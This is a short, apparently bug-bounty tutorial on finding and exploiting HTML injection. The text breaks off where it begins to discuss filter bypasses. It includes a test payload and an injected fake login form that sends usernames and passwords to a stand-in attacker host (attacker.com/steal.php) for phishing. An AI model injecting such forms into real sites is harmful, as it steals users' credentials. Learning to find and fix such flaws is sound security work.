How Hack HTML Injection Vulnerabilities (HTMLi) for Bug Bounty

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HTML Injection (HTMLi) is a common web vulnerability where attackers inject malicious HTML code into a vulnerable web application. This can lead to defacement, phishing, or even Cross-Site Scripting (XSS) if not properly sanitized. Below, we explore how to exploit and defend against HTMLi vulnerabilities.

You Should Know:

1. Identifying HTML Injection Vulnerabilities

HTMLi occurs when user input is reflected in the web page without proper sanitization. Test input fields, URL parameters, and form submissions with:


<h1>Test HTMLi</h1>

If the page renders the `

` tag, the site is vulnerable.

2. Exploiting HTMLi for Phishing

Inject fake login forms to steal credentials:


<form action="https://attacker.com/steal.php" method="POST"> 
<input type="text" name="username" placeholder="Username"> 
<input type="password" name="password" placeholder="Password"> 
<input type="submit" value="Login"> 
</form>

3. Bypassing Basic Filters

If the site blocks `